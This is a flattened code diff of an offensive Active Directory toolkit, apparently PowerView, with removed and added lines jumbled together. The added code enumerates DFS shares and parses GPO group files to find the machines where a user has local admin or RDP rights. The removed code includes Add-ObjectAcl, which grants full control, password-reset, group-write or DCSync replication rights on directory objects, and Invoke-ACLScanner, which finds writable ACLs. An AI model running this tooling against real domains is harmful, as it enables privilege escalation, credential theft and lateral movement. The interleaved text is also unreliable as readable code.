$reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) - https://adsecurity.org/?p=1906 + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) - ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 - 'ResetPassword' doesn't need to know the user's current password - 'WriteMembers' allows for the modification of group membership + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - .PARAMETER TargetSamAccountName + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - Target object name to filter for. + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - .PARAMETER TargetName + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - Target object name to filter for. + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - .PARAMETER TargetDistinguishedName + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } - Target object distinguished name to filter for. + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } - .PARAMETER TargetFilter + $servers + } - A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, - .PARAMETER TargetADSpath + [String] + $DomainController, - The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + [String] + $ADSpath, - .PARAMETER TargetADSprefix + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") + [Management.Automation.PSCredential] + $Credential + ) - .PARAMETER PrincipalSID + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - The SID of the principal object to add for access. + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" - .PARAMETER PrincipalName + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt - The name of the principal object to add for access. + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing DFS share : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() - .PARAMETER PrincipalSamAccountName + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "Get-DFSshareV1 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } - The samAccountName of the principal object to add for access. + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, - .PARAMETER Rights + [String] + $DomainController, - Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" + [String] + $ADSpath, - .PARAMETER Domain + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - The domain to use for the target query, defaults to the current domain. + [Management.Automation.PSCredential] + $Credential + ) - .PARAMETER DomainController + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - Domain controller to reflect LDAP queries through. + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) - .PARAMETER PageSize + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing target : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } - The PageSize to set for the LDAP searcher object. + $DFSshares = @() - .EXAMPLE + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique +} - Grants 'john' all full access rights to the 'matt' account. - .EXAMPLE +######################################################## +# +# GPO related functions. +# +######################################################## - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword +function Get-GptTmpl { +<# + .SYNOPSIS - Grants 'john' the right to reset the password for the 'matt' account. + Helper to parse a GptTmpl.inf policy file path into a custom object. - .LINK + .PARAMETER GptTmplPath - https://adsecurity.org/?p=1906 + The GptTmpl.inf file path name to parse. - https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell -#> + .PARAMETER UsePSDrive - [CmdletBinding()] - Param ( - [String] - $TargetSamAccountName, + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. - [String] - $TargetName = "*", + .EXAMPLE - [Alias('DN')] - [String] - $TargetDistinguishedName = "*", + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - [String] - $TargetFilter, + Parse the default domain policy .inf for dev.testlab.local +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] - $TargetADSpath, + $GptTmplPath, - [String] - $TargetADSprefix, + [Switch] + $UsePSDrive + ) - [String] - [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] - $PrincipalSID, + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - [String] - $PrincipalName, + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" - [String] - $PrincipalSamAccountName, + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path $GptTmplPath : $_" + return $Null + } - [String] - [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] - $Rights = "All", + # so we can cd/dir the new drive + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath + } + } - [String] - $RightsGUID, + process { + try { + Write-Verbose "Attempting to parse GptTmpl: $TargetGptTmplPath" + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + } + catch { + # Write-Verbose "Error parsing $TargetGptTmplPath : $_" + } + } - [String] - $Domain, + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] - $DomainController, + $GroupsXMLPath, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 + [Switch] + $UsePSDrive ) begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - if($PrincipalSID) { - $ResolvedPrincipalSID = $PrincipalSID - } - else { - $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - if(!$Principal) { - throw "Error resolving principal" + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path $GroupsXMLPath : $_" + return $Null } - $ResolvedPrincipalSID = $Principal.objectsid + + # so we can cd/dir the new drive + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath } - if(!$ResolvedPrincipalSID) { - throw "Error resolving principal" + else { + $TargetGroupsXMLPath = $GroupsXMLPath } } process { - if ($Searcher) { - - if($TargetSamAccountName) { - $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" - } - else { - $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" - } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - - # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects + try { + Write-Verbose "Attempting to parse Groups.xml: $TargetGroupsXMLPath" + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - $TargetDN = $_.Properties.distinguishedname + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) - $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" - $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" - $ACEs = @() + $Groupname = $_.Group.Properties.groupName - if($RightsGUID) { - $GUIDs = @($RightsGUID) + # extract the localgroup sid for memberof + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' } - else { - $GUIDs = Switch ($Rights) { - # ResetPassword doesn't need to know the user's current password - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - # allows for the modification of group membership - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c - # when applied to a domain's ACL, allows for the use of DCSync - "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} - } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' } - - if($GUIDs) { - foreach($GUID in $GUIDs) { - $NewGUID = New-Object Guid $GUID - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType - } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' } else { - # deault to GenericAll rights - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID } + } + + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } + } - Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + if ($Members) { - try { - # add all the new ACEs to the specified object - ForEach ($ACE in $ACEs) { - Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" - $Object = [adsi]($_.path) - $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) - $Object.PsBase.commitchanges() + # extract out any/all filters...I hate you GPP + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } - catch { - Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" + else { + $Filters = $Null } + + if($Members -isnot [System.Array]) { $Members = @($Members) } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup } - $Results.dispose() - $Searcher.dispose() - } - catch { - Write-Warning "Error: $_" } } + catch { + # Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } } } -function Invoke-ACLScanner { +function Get-NetGPOGroup { <# .SYNOPSIS - Searches for ACLs for specifable AD objects (default to all domain objects) - with a domain sid of > -1000, and have modifiable rights. - - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - .PARAMETER SamAccountName + Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. - Object name to filter for. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName + Optional Dependencies: None - .PARAMETER Name + .DESCRIPTION - Object name to filter for. + First enumerates all GPOs in the current/target domain using Get-NetGPO with passed + arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or + group membership is set through Group Policy Preferences groups.xml files. For any + GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' + section data is processed if present. Any found Groups.xml files are parsed with + Get-GroupsXML and those memberships are returned as well. - .PARAMETER DistinguishedName + .PARAMETER GPOname - Object distinguished name to filter for. + The GPO name to query for, wildcards accepted. - .PARAMETER Filter + .PARAMETER DisplayName - A customized ldap filter string to use, e.g. "(description=*admin*)" + The GPO display name to query for, wildcards accepted. - .PARAMETER ADSpath + .PARAMETER Domain - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + The domain to query for GPOs, defaults to the current domain. - .PARAMETER ADSprefix + .PARAMETER DomainController - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + Domain controller to reflect LDAP queries through. - .PARAMETER Domain + .PARAMETER ADSpath - The domain to use for the query, defaults to the current domain. + The LDAP source to search through for GPOs. + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER DomainController + .PARAMETER ResolveMemberSIDs - Domain controller to reflect LDAP queries through. + Switch. Try to resolve the SIDs of all found group members. - .PARAMETER ResolveGUIDs + .PARAMETER UsePSDrive - Switch. Resolve GUIDs to their display names. + Switch. Mount any found policy files with temporary PSDrives. .PARAMETER PageSize @@ -3702,275 +3036,272 @@ function Invoke-ACLScanner { .EXAMPLE - PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv + PS C:\> Get-NetGPOGroup + + Returns all local groups set by GPO along with their members and memberof. + + .LINK - Enumerate all modifable ACLs in the current domain, resolving GUIDs to display - names, and export everything to a .csv + https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] [String] - $SamAccountName, + $GPOname = '*', [String] - $Name = "*", + $DisplayName, - [Alias('DN')] [String] - $DistinguishedName = "*", + $Domain, [String] - $Filter, + $DomainController, [String] $ADSpath, - [String] - $ADSprefix, - - [String] - $Domain, - - [String] - $DomainController, + [Switch] + $ResolveMemberSIDs, [Switch] - $ResolveGUIDs, + $UsePSDrive, [ValidateRange(1,10000)] [Int] $PageSize = 200 ) - # Get all domain ACLs with the appropriate parameters - Get-ObjectACL @PSBoundParameters | ForEach-Object { - # add in the translated SID for the object identity - $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) - $_ - } | Where-Object { - # check for any ACLs with SIDs > -1000 - try { - # TODO: change this to a regex for speedup? - [int]($_.IdentitySid.split("-")[-1]) -ge 1000 - } - catch {} - } | Where-Object { - # filter for modifiable rights - ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) - } -} - + $Option = [System.StringSplitOptions]::RemoveEmptyEntries -filter Get-GUIDMap { -<# - .SYNOPSIS + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=*)(gpcfilesyspath=*))" + $GPOSearcher.PropertiesToLoad.AddRange(('displayname', 'name', 'gpcfilesyspath')) - Helper to build a hash table of [GUID] -> resolved names + ForEach($GPOResult in $GPOSearcher.FindAll()) { - Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + $GPOdisplayName = $GPOResult.Properties['displayname'] + $GPOname = $GPOResult.Properties['name'] + $GPOPath = $GPOResult.Properties['gpcfilesyspath'] + Write-Verbose "Get-NetGPOGroup: enumerating $GPOPath" - .PARAMETER Domain + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } - The domain to use for the query, defaults to the current domain. + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs - .PARAMETER DomainController + if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { - Domain controller to reflect LDAP queries through. + $Memberships = @{} - .PARAMETER PageSize + # group the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} - The PageSize to set for the LDAP searcher object. + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} - .LINK + if($ResolveMemberSIDs) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach($Member in $MembershipValue) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } - http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx -#> + if(-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $Domain, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + ForEach ($Membership in $Memberships.GetEnumerator()) { + if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key - $SchemaPath = (Get-NetForest).schema.name + if($GroupName -and ($GroupName.Trim() -ne '')) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif($GroupName.Trim() -ne '') { + $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + else { + $GroupSID = $Null + } + } + } - $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize - if($SchemaSearcher) { - $SchemaSearcher.filter = "(schemaIDGUID=*)" - try { - $Results = $SchemaSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup } - $Results.dispose() - $SchemaSearcher.dispose() } - catch { - Write-Verbose "Error in building GUID map: $_" + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'UsePSDrive' = $UsePSDrive } - } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential - if ($RightsSearcher) { - $RightsSearcher.filter = "(objectClass=controlAccessRight)" - try { - $Results = $RightsSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + Get-GroupsXML @ParseArgs | ForEach-Object { + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $_.GroupMembers) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers } - $Results.dispose() - $RightsSearcher.dispose() - } - catch { - Write-Verbose "Error in building GUID map: $_" + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_ } } - - $GUIDs } -function Get-NetComputer { +function Find-GPOLocation { <# .SYNOPSIS - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER ComputerName - - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Printers + Enumerates the machines where a specific user/group is a member of a specific + local group, all through GPO correlation. - Switch. Return only printers. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite + Optional Dependencies: None - .PARAMETER Ping + .DESCRIPTION - Switch. Ping each host to ensure it's up before enumerating. + Takes a user/group name and optional domain, and determines the computers in the domain + the user/group has local admin (or RDP) rights to. - .PARAMETER FullData + It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-NetGPOGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites - Switch. Return full computer objects instead of just system names (the default). + If no user/group is specified, all user/group -> machine mappings discovered through + GPO relationships are returned. .PARAMETER Domain - The domain to query for computers, defaults to the current domain. + Optional domain the user exists in for querying, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER SiteName + .PARAMETER LocalGroup - The AD Site name to search for computers. + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. - .PARAMETER Unconstrained + .PARAMETER UsePSDrive - Switch. Return computer objects that have unconstrained delegation. + Switch. Mount any found policy files with temporary PSDrives. .PARAMETER PageSize The PageSize to set for the LDAP searcher object. - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - .EXAMPLE - PS C:\> Get-NetComputer + PS C:\> Find-GPOLocation - Returns the current computers in current domain. + Find all user/group -> machine relationships where the user/group is a member + of the local administrators group on target machines. .EXAMPLE - PS C:\> Get-NetComputer -SPN mssql* + PS 